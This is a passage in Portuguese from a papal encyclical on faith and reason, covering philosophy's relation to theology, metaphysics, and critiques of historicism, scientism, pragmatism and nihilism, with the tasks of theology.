pela Sagrada Escritura, tais como a possibilidade de uma vocação

sobrenatural do homem, e também o próprio pecado original. São

tarefas que induzem a razão a reconhecer que existe a verdade e o

racional, muito para além dos limites estreitos onde ela seria

tentada a encerrar-se. Estas temáticas ampliam, de facto, o âmbito

do racional.

Ao reflectirem sobre estes conteúdos, os filósofos não

se tornaram teólogos, já que não procuraram

compreender e ilustrar as verdades da fé a partir da Revelação;

continuaram a trabalhar no seu próprio terreno e com a sua

metodologia puramente racional, mas alargando a sua investigação

a novos âmbitos da verdade. Pode-se dizer que, sem este influxo

estimulante da palavra de Deus, boa parte da filosofia moderna e contemporânea

não existiria. O dado mantém toda a sua relevância,

mesmo diante da constatação decepcionante de não

poucos pensadores destes últimos séculos que abandonaram a

ortodoxia cristã.

77. Outro estádio significativo da filosofia verifica-se quando é

a própria teologia que chama em causa a filosofia.

Na verdade, a teologia sempre teve, e continua a ter, necessidade da

contribuição filosófica. Realizado pela razão

crítica à luz da fé, o trabalho teológico

pressupõe e exige, ao longo de toda a sua pesquisa, uma razão

conceptual e argumentativamente educada e formada. Além disso, a

teologia precisa da filosofia como interlocutora, para verificar a

inteligibilidade e a verdade universal das suas afirmações.

Não foi por acaso que os Padres da Igreja e os teólogos

medievais assumiram, para tal função explicativa, filosofias

não cristãs. Este facto histórico indica o valor da

autonomia que a filosofia conserva mesmo neste terceiro estádio,

mas mostra igualmente as transformações necessárias e

profundas que ela deve sofrer.

É precisamente no sentido de uma contribuição

indispensável e nobre que a filosofia foi chamada, desde a Idade

Patrística, ancilla theologiæ. De facto, o título

não foi atribuído para indicar uma submissão servil

ou um papel puramente funcional da filosofia relativamente à

teologia; mas no mesmo sentido em que Aristóteles falava das ciências

experimentais como « servas » da « filosofia primeira ».

A expressão, hoje dificilmente utilizável devido aos princípios

de autonomia antes mencionados, foi usada ao longo da história para

indicar a necessidade da relação entre as duas ciências

e a impossibilidade de uma sua separação.

Se o teólogo se recusasse a utilizar a filosofia, arriscar-se-ia

a fazer filosofia sem o saber e a fechar-se em estruturas de pensamento

pouco idóneas à compreensão da fé. Se o filósofo,

por sua vez, excluísse todo o contacto com a teologia, ver-se-ia na

obrigação de apoderar-se por conta própria dos conteúdos

da fé cristã, como aconteceu com alguns filósofos

modernos. Tanto num caso como noutro, surgiria o perigo da destruição

dos princípios básicos de autonomia que cada ciência

justamente quer ver garantidos.

O estádio da filosofia agora considerado, devido às

implicações que comporta na compreensão da Revelação,

está, como acontece com a teologia, mais directamente colocado sob

a autoridade do Magistério e do seu discernimento, como expus mais

acima. Das verdades de fé derivam, efectivamente, determinadas exigências

que a filosofia deve respeitar, quando entra em relação com

a teologia.

78. À luz destas reflexões, é fácil

compreender porque tenha o Magistério louvado reiteradamente os méritos

do pensamento de S. Tomás, e o tenha proposto como guia e modelo

dos estudos teológicos. O que interessava não era tomar posição

sobre questões propriamente filosóficas, nem impor a adesão

a teses particulares; o objectivo do Magistério era, e continua a

ser, mostrar como S. Tomás é um autêntico modelo para

quantos buscam a verdade. De facto, na sua reflexão, a exigência

da razão e a força da fé encontraram a síntese

mais elevada que o pensamento jamais alcançou, enquanto soube

defender a novidade radical trazida pela Revelação, sem

nunca humilhar o caminho próprio da razão.

79. Ao explicitar melhor os conteúdos do Magistério

precedente, é minha intenção, nesta última

parte, indicar algumas exigências que a teologia — e, ainda

antes, a palavra de Deus — coloca, hoje, ao pensamento filosófico

e às filosofias actuais. Como já assinalei, o filósofo

deve proceder segundo as próprias regras e basear-se sobre os próprios

princípios; todavia, a verdade é uma só. A Revelação,

com os seus conteúdos, não poderá nunca humilhar a

razão nas suas descobertas e na sua legítima autonomia; a

razão, por sua vez, não deverá perder nunca a sua

capacidade de interrogar-se e de interrogar, consciente de não

poder arvorar-se em valor absoluto e exclusivo. A verdade revelada,

projectando plena luz sobre o ser a partir do esplendor que lhe vem do próprio

Ser subsistente, iluminará o caminho da reflexão filosófica.

Em resumo, a revelação cristã torna-se o verdadeiro

ponto de enlace e confronto entre o pensar filosófico e o teológico,

no seu recíproco intercâmbio. Espera-se, pois, que teólogos

e filósofos se deixem guiar unicamente pela autoridade da verdade,

para que seja elaborada uma filosofia de harmonia com a palavra de Deus.

Esta filosofia será o terreno de encontro entre as culturas e a fé

cristã, o espaço de entendimento entre crentes e não

crentes. Ajudará os crentes a convencerem-se mais intimamente de

que a profundidade e a autenticidade da fé saem favorecidas quando

esta se une ao pensamento e não renuncia a ele. Mais uma vez,

encontramos nos Padres a lição que nos guia nesta convicção:

« Crer, nada mais é senão pensar consentindo […].

Todo o que crê, pensa; crendo pensa, e pensando crê […]. A fé,

se não for pensada, nada é ». (95) Mais: « Se se

tira o assentimento, tira-se a fé, pois, sem o assentimento,

realmente não se crê ». (96)

CAPÍTULO VII

EXIGÊNCIAS E TAREFAS ACTUAIS

1. As exigências irrenunciáveis da palavra de Deus

80. A Sagrada Escritura contém, de forma explícita ou implícita,

toda uma série de elementos que permite alcançar uma

perspectiva de notável densidade filosófica acerca do homem

e do mundo. Os cristãos foram gradualmente tomando consciência

da riqueza contida naquelas páginas sagradas. Delas se conclui que

a realidade que experimentamos, não é o absoluto: não

é incriada, nem se autogerou. Só Deus é o Absoluto.

Nas páginas da Bíblia, o homem é visto como imago

Dei, que contém indicações precisas sobre o seu

ser, a sua liberdade e a imortalidade do seu espírito. Uma vez que

o mundo criado não é autosuficiente, qualquer ilusão

de autonomia que ignore a essencial dependência de Deus de toda

criatura — incluindo o homem — leva a dramas que destroem a

busca racional da harmonia e do sentido da existência humana.

Também o problema do mal moral — a forma mais trágica

do mal — é considerado na Bíblia, dizendo-nos que este

não pode ser reduzido a uma mera deficiência devida à

matéria, mas é uma ferida que provém de uma manifestação

desordenada da liberdade humana. Finalmente, a palavra de Deus apresenta o

problema do sentido da existência e revela a resposta para o mesmo,

encaminhando o homem para Jesus Cristo, o Verbo de Deus encarnado, que

realiza em plenitude a existência humana. Poder-se-iam ainda

explicitar outros aspectos da leitura do texto sagrado; de qualquer modo,

o que sobressai é a rejeição de toda a forma de

relativismo, materialismo, panteísmo.

A convicção fundamental desta « filosofia »

presente na Bíblia é que a vida humana e o mundo têm

um sentido e caminham para a sua plenitude, que se verifica em Jesus

Cristo. O mistério da Encarnação permanecerá

sempre o centro de referência para se poder compreender o enigma da

existência humana, do mundo criado, e mesmo de Deus. A filosofia

encontra, neste mistério, os desafios extremos, porque a razão

é chamada a assumir uma lógica que destrói as

barreiras onde ela mesma corre o risco de se fechar. Somente aqui, porém,

o sentido da existência alcança o seu ponto culminante. Com

efeito, torna-se inteligível a essência íntima de Deus

e do homem: no mistério do Verbo encarnado, são

salvaguardadas a natureza divina e a natureza humana, com sua respectiva

autonomia, e simultaneamente manifesta-se aquele vínculo único

que as coloca em mútuo relacionamento, sem confusão. (97)

81. Deve ter-se em conta que um dos dados mais salientes da nossa situação

actual consiste na « crise de sentido ». Os pontos de vista,

muitas vezes de carácter científico, sobre a vida e o mundo

multiplicaram-se tanto que estamos efectivamente assistindo à

afirmação crescente do fenómeno da fragmentação

do saber. É precisamente isto que torna difícil e

frequentemente vã a procura de um sentido. E, mais dramático

ainda, neste emaranhado de dados e de factos, em que se vive e que parece

constituir a própria trama da existência, tantos se

interrogam se ainda tem sentido pôr-se a questão do sentido.

A pluralidade das teorias que se disputam a resposta, ou os diversos modos

de ver e interpretar o mundo e a vida do homem não fazem senão

agravar esta dúvida radical, que facilmente desemboca num estado de

cepticismo e indiferença ou nas diversas expressões do

niilismo.

Em consequência disto, o espírito humano fica muitas vezes

ocupado por uma forma de pensamento ambíguo, que o leva a

encerrar-se ainda mais em si próprio, dentro dos limites da própria

imanência, sem qualquer referência ao transcendente. Privada

da questão do sentido da existência, uma filosofia incorreria

no grave perigo de relegar a razão para funções

meramente instrumentais, sem uma autêntica paixão pela busca

da verdade.

Para estar em consonância com a palavra de Deus ocorre, antes de

mais, que a filosofia volte a encontrar a sua dimensão

sapiencial de procura do sentido último e global da vida. Esta

primeira exigência, por sinal, constitui um estímulo utilíssimo

para a filosofia se conformar com a sua própria natureza. Deste

modo, ela não será apenas aquela instância crítica

decisiva que indica, às várias partes do saber científico,

o seu fundamento e os seus limites, mas representará também

a instância última de unificação do saber e do

agir humano, levando-os a convergirem para um fim e um sentido

definitivos. Esta dimensão sapiencial é ainda mais indispensável

hoje, uma vez que o imenso crescimento do poder técnico da

humanidade requer uma renovada e viva consciência dos valores últimos.

Se viesse a faltar a estes meios técnicos a sua orientação

para um fim não meramente utilitarista, poderiam rapidamente

revelar-se desumanos e transformar-se mesmo em potenciais destrutores do género

humano. (98)

A palavra de Deus revela o fim último do homem, e dá um

sentido global à sua acção no mundo. Por isso, ela

convida a filosofia a empenhar-se na busca do fundamento natural desse

sentido, que é a religiosidade constitutiva de cada pessoa. Uma

filosofia que quisesse negar a possibilidade de um sentido último e

global, seria não apenas imprópria, mas errónea.

82. De resto, este papel sapiencial não poderia ser desempenhado

por uma filosofia que não fosse, ela própria, um autêntico

e verdadeiro saber, isto é, debruçado não só

sobre os aspectos particulares e relativos — sejam eles funcionais,

formais ou úteis — da realidade, mas sobre a verdade total e

definitiva desta, ou seja, sobre o próprio ser do objecto de

conhecimento. Daqui, uma segunda exigência: verificar a capacidade

do homem chegar ao conhecimento da verdade; mais, um conhecimento

que alcance a verdade objectiva por meio daquela adæquatio rei

et intellectus, a que se referem os Doutores da Escolástica.

(99) Esta exigência, própria da fé, foi explicitamente

reafirmada pelo Concílio Vaticano II: « A inteligência,

de facto, não se limita ao domínio dos fenómenos;

embora, em consequência do pecado, esteja parcialmente obscurecida e

debilitada, ela é capaz de atingir com certeza a realidade inteligível

». (100)

Uma filosofia, radicalmente fenomenista ou relativista, revelar-se-ia

inadequada para ajudar no aprofundamento da riqueza contida na palavra de

Deus. De facto, a Sagrada Escritura sempre pressupõe que o homem,

mesmo quando culpável de duplicidade e mentira, é capaz de

conhecer e captar a verdade clara e simples. Nos Livros Sagrados, e de

modo particular no Novo Testamento, encontram-se textos e afirmações

de alcance propriamente ontológico. Os autores inspirados, com

efeito, quiseram formular afirmações verdadeiras, isto é,

capazes de exprimir a realidade objectiva. Não se pode dizer que a

tradição católica tenha cometido um erro, quando

entendeu alguns textos de S. João e de S. Paulo como afirmações

sobre o ser mesmo de Cristo. Ora, quando a teologia procura compreender e

explicar estas afirmações, tem necessidade do auxílio

duma filosofia que não renegue a possibilidade de um conhecimento

objectivamente verdadeiro, embora sempre passível de aperfeiçoamento.

Isto vale também para os juízos da consciência moral,

que a Sagrada Escritura supõe ser objectivamente verdadeiros. (101)

83. As duas exigências, já referidas, implicam uma

terceira: ocorre uma filosofia de alcance autenticamente metafísico,

isto é, capaz de transcender os dados empíricos para chegar,

na sua busca da verdade, a algo de absoluto, definitivo, básico.

Trata-se duma exigência implícita tanto no conhecimento de

tipo sapiencial, como de carácter analítico; de modo

particular, é uma exigência própria do conhecimento do

bem moral, cujo fundamento último é o sumo Bem, o próprio

Deus. Não é minha intenção falar aqui da metafísica

enquanto escola específica ou particular corrente histórica;

desejo somente afirmar que a realidade e a verdade transcendem o elemento

factível e empírico, e quero reivindicar a capacidade que o

homem possui de conhecer esta dimensão transcendente e metafísica

de forma verdadeira e certa, mesmo se imperfeita e analógica. Neste

sentido, a metafísica não deve ser vista como alternativa à

antropologia, pois é precisamente ela que permite dar fundamento ao

conceito da dignidade da pessoa, assente na sua condição

espiritual. De modo particular, a pessoa constitui um âmbito

privilegiado para o encontro com o ser e, consequentemente, com a reflexão

metafísica.

Em toda a parte onde o homem descobre a presença dum apelo ao

absoluto e ao transcendente, lá se abre uma fresta para a dimensão

metafísica do real: na verdade, na beleza, nos valores morais, na

pessoa do outro, no ser, em Deus. Um grande desafio, que nos espera no

final deste milénio, é saber realizar a passagem, tão

necessária como urgente, do fenómeno ao fundamento.

Não é possível deter-se simplesmente na experiência;

mesmo quando esta exprime e manifesta a interioridade do homem e a sua

espiritualidade, é necessário que a reflexão

especulativa alcance a substância espiritual e o fundamento que a

sustenta. Portanto, um pensamento filosófico que rejeitasse

qualquer abertura metafísica, seria radicalmente inadequado para

desempenhar um papel de mediação na compreensão da

Revelação.

A palavra de Deus alude continuamente a realidades que ultrapassam a

experiência e até mesmo o pensamento do homem; mas, este «

mistério » não poderia ser revelado, nem a teologia

poderia de modo algum torná-lo inteligível, (102) se o

conhecimento humano se limitasse exclusivamente ao mundo da experiência

sensível. Por isso, a metafísica constitui uma intermediária

privilegiada na pesquisa teológica. Uma teologia, privada do

horizonte metafísico, não conseguiria chegar além da

análise da experiência religiosa, não permitindo ao

intellectus fidei exprimir coerentemente o valor universal e

transcendente da verdade revelada.

Se insisto tanto na componente metafísica, é porque estou

convencido de que este é o caminho obrigatório para superar

a situação de crise que aflige actualmente grandes sectores

da filosofia e, desta forma, corrigir alguns comportamentos errados,

difusos na nossa sociedade.

84. A importância da instância metafísica torna-se

ainda mais evidente, quando se considera o progresso actual das ciências

hermenêuticas e das diferentes análises da linguagem. Os

resultados alcançados por estes estudos podem ser muito úteis

para a compreensão da fé, enquanto manifestam a estrutura do

nosso pensar e falar, e o sentido presente na linguagem. Existem, porém,

especialistas destas ciências que tendem, nas suas pesquisas, a

deter-se no modo como se compreende e exprime a realidade, prescindindo de

verificar a possibilidade de a razão descobrir a essência da

mesma. Como não individuar neste comportamento uma confirmação

da crise de confiança, que a nossa época está a

atravessar, acerca das capacidades da razão? Além disso,

quando estas teses, baseando-se em convicções apriorísticas,

tendem a ofuscar os conteúdos da fé ou a negar a sua

validade universal, então não só humilham a razão,

mas colocam-se por si mesmas fora de jogo. De facto, a fé pressupõe

claramente que a linguagem humana seja capaz de exprimir de modo universal

— embora em termos analógicos, mas nem por isso menos

significativos — a realidade divina e transcendente. (103) Se assim não

fosse, a palavra de Deus, que é sempre palavra divina em linguagem

humana, não seria capaz de exprimir nada sobre Deus. A interpretação

desta Palavra não pode remeter-nos apenas de uma interpretação

para outra, sem nunca nos fazer chegar a uma afirmação

absolutamente verdadeira; caso contrário, não haveria revelação

de Deus, mas só a expressão de noções humanas

sobre Ele e sobre aquilo que presumivelmente Ele pensa de nós.

85. Bem sei que, aos olhos de muitos dos que actualmente se entregam à

pesquisa filosófica, podem parecer árduas estas exigências

postas pela palavra de Deus à filosofia. Por isso mesmo, retomando

aquilo que, já há algumas gerações, os Sumos

Pontífices não cessam de ensinar e que o próprio Concílio

Vaticano II confirmou, quero exprimir vigorosamente a convicção

de que o homem é capaz de alcançar uma visão unitária

e orgânica do saber. Esta é uma das tarefas que o pensamento

cristão deverá assumir durante o próximo milénio

da era cristã. A subdivisão do saber, enquanto comporta uma

visão parcial da verdade com a consequente fragmentação

do seu sentido, impede a unidade interior do homem de hoje. Como poderia a

Igreja deixar de preocupar-se? Os Pastores recebem esta função

sapiencial directamente do Evangelho, e não podem eximir-se do

dever de concretizá-la.

Considero que todos os que actualmente desejam responder, como filósofos,

às exigências que a palavra de Deus põe ao pensamento

humano, deveriam elaborar o seu raciocínio sobre a base destes

postulados, numa coerente continuidade com aquela grande tradição

que, partindo dos antigos, passa pelos Padres da Igreja e os mestres da

escolástica até chegar a englobar as conquistas fundamentais

do pensamento moderno e contemporâneo. Se conseguir recorrer a esta

tradição e inspirar-se nela, o filósofo não

deixará de se mostrar fiel à exigência de autonomia do

pensamento filosófico.

Neste sentido, é muito importante que, no contexto actual, alguns

filósofos se façam promotores da descoberta do papel

determinante que tem a tradição para uma forma correcta de

conhecimento. De facto, o recurso à tradição não

é uma mera lembrança do passado; mas constitui sobretudo o

reconhecimento dum património cultural que pertence a toda a

humanidade. Poder-se-ia mesmo dizer que somos nós que pertencemos à

tradição, e por isso não podemos dispor dela a nosso

bel-prazer. É precisamente este enraizamento na tradição

que hoje nos permite poder exprimir um pensamento original, novo e aberto

para o futuro. Esta observação é ainda mais

pertinente para a teologia, não só porque ela possui a Tradição

viva da Igreja como fonte originária, (104) mas também

porque ela, em virtude disso mesmo, deve ser capaz de recuperar quer a

profunda tradição teológica que marcou as épocas

precedentes, quer a tradição perene daquela filosofia que,

pela sua real sabedoria, conseguiu superar as fronteiras do espaço

e do tempo.

86. A insistência sobre a necessidade duma estreita relação

de continuidade entre a reflexão filosófica actual e a

reflexão elaborada na tradição cristã visa

prevenir do perigo que se esconde em algumas correntes de pensamento, hoje

particularmente difusas. Embora brevemente, considero oportuno deter-me

sobre elas, para pôr em relevo os seus erros e consequentes riscos

para a actividade filosófica.

A primeira aparece sob o nome de ecletismo, termo com o qual se

designa o comportamento de quem, na pesquisa, na doutrina e na argumentação,

mesmo teológica, costuma assumir ideias tomadas isoladamente de

distintas filosofias, sem se preocupar com a sua coerência e conexão

sistemática, nem com o seu contexto histórico. Deste modo, a

pessoa fica impossibilitada de discernir entre a parte de verdade dum

pensamento e aquilo que nele pode ser errado ou inadequado. Também é

possível individuar uma forma extrema de ecletismo no abuso retórico

dos termos filosóficos, às vezes praticado por alguns teólogos.

Este género de instrumentalização não favorece

a busca da verdade, nem educa a razão — tanto teológica,

como filosófica — a argumentar de forma séria e científica.

O estudo rigoroso e profundo das doutrinas filosóficas, da

linguagem que lhes é peculiar, e do contexto onde surgiram, ajuda a

superar os riscos do ecletismo e permite uma adequada integração

daquelas na argumentação teológica.

87. O ecletismo é um erro de método, mas poderia também

ocultar em si as teses próprias do historicismo. Para

compreender correctamente uma doutrina do passado, é necessário

que esteja inserida no seu contexto histórico e cultural.

Diversamente, o historicismo toma como sua tese fundamental estabelecer a

verdade duma filosofia com base na sua adequação a um

determinado período e função histórica. Deste

modo nega-se, pelo menos implicitamente, a validade perene da verdade. O

que era verdade numa época, afirma o historicista, pode já não

sê-lo noutra. Em resumo, a história do pensamento, para ele,

reduz-se a uma espécie de achado arqueológico, a que recorre

a fim de pôr em evidência posições do passado,

em grande parte já superadas e sem significado para o tempo

presente. Ora, apesar de a formulação estar de certo modo

ligada ao tempo e à cultura, deve-se considerar que a verdade ou o

erro nela expressos podem ser, não obstante a distância espácio-temporal,

reconhecidos e avaliados como tais.

Na reflexão teológica, o historicismo tende a maior parte

das vezes a apresentar-se sob uma forma de « modernismo ». Com a

justa preocupação de tornar o discurso teológico

actual e assimilável para o homem contemporâneo, faz-se

apenas uso das asserções e termos filosóficos mais

recentes, descuidando exigências críticas que, à luz

da tradição, dever-se-iam eventualmente colocar. Esta forma

de modernismo, pelo simples facto de trocar a actualidade pela verdade,

revela-se incapaz de satisfazer as exigências de verdade a que a

teologia é chamada a dar resposta.

88. Outro perigo a ser considerado é o cientificismo.

Esta concepção filosófica recusa-se a admitir, como válidas,

formas de conhecimento distintas daquelas que são próprias

das ciências positivas, relegando para o âmbito da pura

imaginação tanto o conhecimento religioso e teológico,

como o saber ético e estético. No passado, a mesma ideia

aparecia expressa no positivismo e no neopositivismo, que consideravam

destituídas de sentido as afirmações de carácter

metafísico. A crítica epistemológica desacreditou

esta posição; mas, vemo-las agora renascer sob as novas

vestes do cientificismo. Na sua perspectiva, os valores são

reduzidos a simples produtos da emotividade, e a noção de

ser é posta de lado para dar lugar ao facto puro e simples. A ciência,

prepara-se assim para dominar todos os aspectos da existência

humana, através do progresso tecnológico. Os sucessos inegáveis

no âmbito da pesquisa científica e da tecnologia contemporânea

contribuíram para a difusão da mentalidade cientificista,

que parece não conhecer fronteiras, quando vemos como penetrou nas

diversas culturas e as mudanças radicais que aí provocou.

Infelizmente, deve-se constatar que o cientificismo considera tudo o que

se refere à questão do sentido da vida como fazendo parte do

domínio do irracional ou da fantasia. Ainda mais decepcionante é

a perspectiva apresentada por esta corrente de pensamento a respeito dos

outros grandes problemas da filosofia que, quando não passam

simplesmente ignorados, são analisados com base em analogias

superficiais, destituídas de fundamentação racional.

Isto leva ao empobrecimento da reflexão humana, subtraindo-lhe

aqueles problemas fundamentais que o animal rationale se tem

colocado constantemente, desde o início da sua existência

sobre a terra. Na mesma linha, ao pôr de lado a crítica que

nasce da avaliação ética, a mentalidade cientificista

conseguiu fazer com que muitos aceitassem a ideia de que aquilo que se

pode realizar tecnicamente, torna-se por isso mesmo também

moralmente admissível.

89. Portador de perigos não menores é o pragmatismo,

atitude mental própria de quem, ao fazer as suas opções,

exclui o recurso a reflexões abstractas ou a avaliações

fundadas sobre princípios éticos. As consequências práticas,

que derivam desta linha de pensamento, são notáveis. De modo

particular, tem vindo a ganhar terreno uma concepção da

democracia que não contempla o referimento a fundamentos de ordem

axiológica e, por isso mesmo, imutáveis: a admissibilidade,

ou não, de determinado comportamento é decidida com base no

voto da maioria parlamentar. (105) A consequência de semelhante posição

é clara: as grandes decisões morais do homem ficam

efectivamente subordinadas às deliberações que os órgãos

institucionais vão assumindo pouco a pouco. Mais, a própria

antropologia fica fortemente condicionada com a proposta duma visão

unidimensional do ser humano, da qual se excluem os grandes dilemas éticos

e as análises existenciais sobre o sentido do sofrimento e do

sacrifício, da vida e da morte.

90. As teses examinadas até aqui conduzem, por sua vez, a uma

concepção mais geral, que parece constituir, hoje, o

horizonte comum de muitas filosofias que não querem saber do

sentido do ser. Estou a referir-me à leitura niilista, que é

a rejeição de qualquer fundamento e simultaneamente a negação

de toda a verdade objectiva. O niilismo, antes mesmo de estar em

contraste com as exigências e os conteúdos próprios da

palavra de Deus, é negação da humanidade do homem e

também da sua identidade. De facto, é preciso ter em conta

que o olvido do ser implica inevitavelmente a perda de contacto com a

verdade objectiva e, consequentemente, com o fundamento sobre o qual se

apoia a dignidade do homem. Deste modo, abre-se espaço à

possibilidade de apagar, da face do homem, os traços que revelam a

sua semelhança com Deus, conduzindo-o progressivamente a uma

destrutiva ambição de poder ou ao desespero da solidão.

Uma vez que se privou o homem da verdade, é pura ilusão

pretender torná-lo livre. Verdade e liberdade, com efeito, ou

caminham juntas, ou juntas miseravelmente perecem. (106)

91. Ao comentar as correntes de pensamento acima lembradas, não

foi minha intenção apresentar um quadro completo da situação

actual da filosofia: aliás, esta dificilmente poderia ser integrada

numa visão unitária. Faço questão de assinalar

que a herança do saber e da sabedoria se enriqueceu efectivamente

em diversos campos. Basta citar a lógica, a filosofia da linguagem,

a epistemologia, a filosofia da natureza, a antropologia, a análise

profunda das vias afectivas do conhecimento, a perspectiva existencial

aplicada à análise da liberdade. Por outro lado, a afirmação

do princípio de imanência, que está no âmago da

pretensão racionalista, suscitou, a partir do século

passado, reacções que levaram a pôr radicalmente em

questão postulados considerados indiscutíveis. Nasceram

assim correntes irracionalistas, ao mesmo tempo que a crítica punha

em evidência a inutilidade da exigência de auto-fundamentação

absoluta da razão.

A nossa época foi definida por certos pensadores como a época

da « pós-modernidade ». Este termo, não raramente

usado em contextos muito distanciados entre si, designa a aparição

de um conjunto de factores novos, que, pela sua extensão e eficácia,

se revelaram capazes de determinar mudanças significativas e

duradouras. Assim, o termo foi primeiramente usado no campo de fenómenos

de ordem estética, social, tecnológica. Depois, estendeu-se

ao âmbito filosófico, permanecendo, porém, marcado por

certa ambiguidade, quer porque a avaliação do que se define

como « pós-moderno » é umas vezes positivo e

outras negativo, quer porque não existe consenso sobre o delicado

problema da delimitação das várias épocas históricas.

Uma coisa, todavia, é certa: as correntes de pensamento que fazem

referência à pós-modernidade merecem adequada atenção.

Segundo algumas delas, de facto, o tempo das certezas teria

irremediavelmente passado, o homem deveria finalmente aprender a viver num

horizonte de ausência total de sentido, sob o signo do provisório

e do efémero. Muitos autores, na sua crítica demolidora de

toda a certeza e ignorando as devidas distinções, contestam

inclusivamente as certezas da fé.

De algum modo, este niilismo encontra confirmação na terrível

experiência do mal que caracterizou a nossa época. O

optimismo racionalista que via na história o avanço

vitorioso da razão, fonte de felicidade e de liberdade, não

pôde resistir face à dramaticidade de tal experiência,

a ponto de uma das maiores ameaças, neste final de século,

ser a tentação do desespero.

Verdade é que uma certa mentalidade positivista continua a

defender a ilusão de que, graças às conquistas científicas

e técnicas, o homem, como se fosse um demiurgo, poderá

chegar por si mesmo a garantir o domínio total do seu destino.

2. Tarefas actuais da teologia

92. Enquanto compreensão da Revelação, a teologia,

nas sucessivas épocas históricas, sempre sentiu como próprio

dever escutar as solicitações das várias culturas,

para permeá-las depois, através duma coerente conceptualização,

com o conteúdo da fé. Também hoje lhe compete uma

dupla tarefa. Por um lado, deve cumprir a missão que o Concílio

Vaticano II lhe confiou: renovar as suas metodologias, tendo em vista um

serviço mais eficaz à evangelização. Nesta

perspectiva, como não pensar às palavras pronunciadas pelo

Sumo Pontífice João XXIII, na abertura do Concílio?

Dizia ele: « Correspondendo à viva expectativa de quantos amam

sinceramente a religião cristã, católica e apostólica,

é necessário que esta doutrina seja conhecida mais ampla e

profundamente e que nela sejam instruídas e formadas mais

plenamente as consciências; é preciso que esta doutrina certa

e imutável, que deve ser fielmente respeitada, seja aprofundada e

apresentada segundo as exigências do nosso tempo ». (107)

Mas, por outro lado, a teologia deve manter o olhar fixo sobre a verdade

última que lhe foi confiada por meio da Revelação, não

se contentando nem se detendo em etapas intermédias. O teólogo

recorde-se de que o seu trabalho corresponde « ao dinamismo interior

próprio da fé » e que o objecto específico da

sua indagação é « a Verdade, o Deus vivo e o seu

desígnio de salvação revelado em Jesus Cristo ».

(108) Esta tarefa, que diz respeito em primeiro lugar à teologia,

interpela também a filosofia. De facto, a quantidade imensa de

problemas, que hoje aparece, requer um trabalho comum, embora desenvolvido

com metodologias diversas, para que a verdade possa novamente ser

conhecida e anunciada. A Verdade, que é Cristo, impõe-se

como autoridade universal que rege, estimula e faz crescer (cf. Ef

4, 15) tanto a teologia como a filosofia.

O facto de acreditar na possibilidade de se conhecer uma verdade

universalmente válida não é de forma alguma fonte de

intolerância; pelo contrário, é condição

necessária para um diálogo sincero e autêntico entre

as pessoas. Só com esta condição será possível

superar as divisões e percorrer juntos o caminho que conduz à

verdade total, seguindo por sendas que só Espírito do Senhor

ressuscitado conhece. (109) O modo como se configura hoje concretamente a

exigência de unidade, tendo em vista as tarefas actuais da teologia,

é o que desejo agora indicar.

93. O objectivo fundamental, que a teologia persegue, é apresentar

a compreensão da Revelação e o conteúdo da fé.

Assim, o verdadeiro centro da sua reflexão há-de ser a

contemplação do próprio mistério de Deus Uno e

Trino. E a este chega-se reflectindo sobre o mistério da encarnação

do Filho de Deus: sobre o facto de Ele Se fazer homem e, depois, caminhar

até à paixão e à morte, mistério este

que desembocará na sua gloriosa ressurreição e ascensão

à direita do Pai, donde enviará o Espírito de verdade

para constituir e animar a sua Igreja. Neste horizonte, a obrigação

primeira da teologia é a compreensão da kenosi de

Deus, mistério verdadeiramente grande para a mente humana, porque

lhe parece insustentável que o sofrimento e a morte possam exprimir

o amor que se dá sem pedir nada em troca. Nesta perspectiva, impõe-se

como exigência fundamental e urgente uma análise atenta dos

textos: os textos bíblicos primeiro, e depois os que exprimem a

Tradição viva da Igreja. A este respeito, surgem hoje alguns

problemas, novos só em parte, cuja solução coerente não

poderá ser encontrada sem o contributo da filosofia.

94. Um primeiro aspecto problemático refere-se à relação

entre o significado e a verdade. Como qualquer outro texto, também

as fontes que o teólogo interpreta transmitem, antes de mais, um

significado, que tem de ser individuado e exposto. Ora, este significado

apresenta-se como a verdade acerca de Deus, que é comunicada pelo

próprio Deus por meio do texto sagrado. Assim, a linguagem de Deus

toma corpo na linguagem humana, comunicando a verdade sobre Ele mesmo com

aquela « condescendência » admirável que reflecte a

lógica da Encarnação. (110) Por isso, ao interpretar

as fontes da Revelação, é necessário que o teólogo

se interrogue sobre qual seja a verdade profunda e genuína que os

textos querem comunicar, embora dentro dos limites da linguagem.

Quanto aos textos bíblicos, e em particular os Evangelhos, a sua

verdade não se reduz seguramente à narração de

simples acontecimentos históricos ou à revelação

de factos neutros, como pretendia o positivismo historicista. (111) Pelo

contrário, esses textos expõem acontecimentos, cuja verdade

está para além da mera ocorrência histórica:

está no seu significado para e dentro da história

da salvação. Esta verdade adquire a sua plena explicitação

na leitura perene que a Igreja faz dos referidos textos ao longo dos séculos,

mantendo inalterado o seu significado originário. Portanto, é

urgente que se interroguem, filosoficamente também, sobre a relação

que há entre o facto e o seu significado; relação

essa que constitui o sentido específico da história.

95. A palavra de Deus não se destina apenas a um povo ou só

a uma época. De igual modo, também os enunciados dogmáticos

formulam uma verdade permanente e definitiva, ainda que às vezes se

possa notar neles a cultura do período em que foram definidos.

Surge, assim, a pergunta sobre como seja possível conciliar o carácter

absoluto e universal da verdade com o inevitável condicionamento

histórico e cultural das fórmulas que a exprimem. Como disse

anteriormente, as teses do historicismo não são defendíveis.

Pelo contrário, a aplicação duma hermenêutica

aberta à questão metafísica é capaz de mostrar

como se passa das circunstâncias históricas e contingentes,

onde maturaram os textos, à verdade por eles expressa que está

para além desses condicionalismos.

Com a sua linguagem histórica e limitada, o homem pode exprimir

verdades que transcendem o fenómeno linguístico. De facto, a

verdade nunca pode estar limitada a um tempo, nem a uma cultura; é

conhecida na história, mas supera a própria história.

96. Esta consideração permite vislumbrar a solução

de outro problema: o da perene validade dos conceitos usados nas definições

conciliares. Já o meu venerado Predecessor Pio XII enfrentara a

questão, na carta encíclica Humani generis. (112)

A reflexão sobre este assunto não é fácil,

porque tem-se de atender cuidadosamente ao sentido que as palavras

adquirem nas diversas culturas e nas diferentes épocas. Entretanto,

a história do pensamento mostra que certos conceitos básicos

mantêm, através da evolução e da variedade das

culturas, o seu valor cognoscitivo universal e, consequentemente, a

verdade das proposições que os exprimem. (113) Se assim não

fosse, a filosofia e as ciências não poderiam comunicar entre

si, nem ser recebidas por culturas diferentes daquelas onde foram pensadas

e elaboradas. O problema hermenêutico é real, mas tem solução.

O valor objectivo de muitos conceitos não exclui, aliás, que

o seu significado frequentemente seja imperfeito. A reflexão filosófica

poderia ser de grande ajuda neste campo. Possa ela prestar o seu

contributo particular no aprofundamento da relação entre

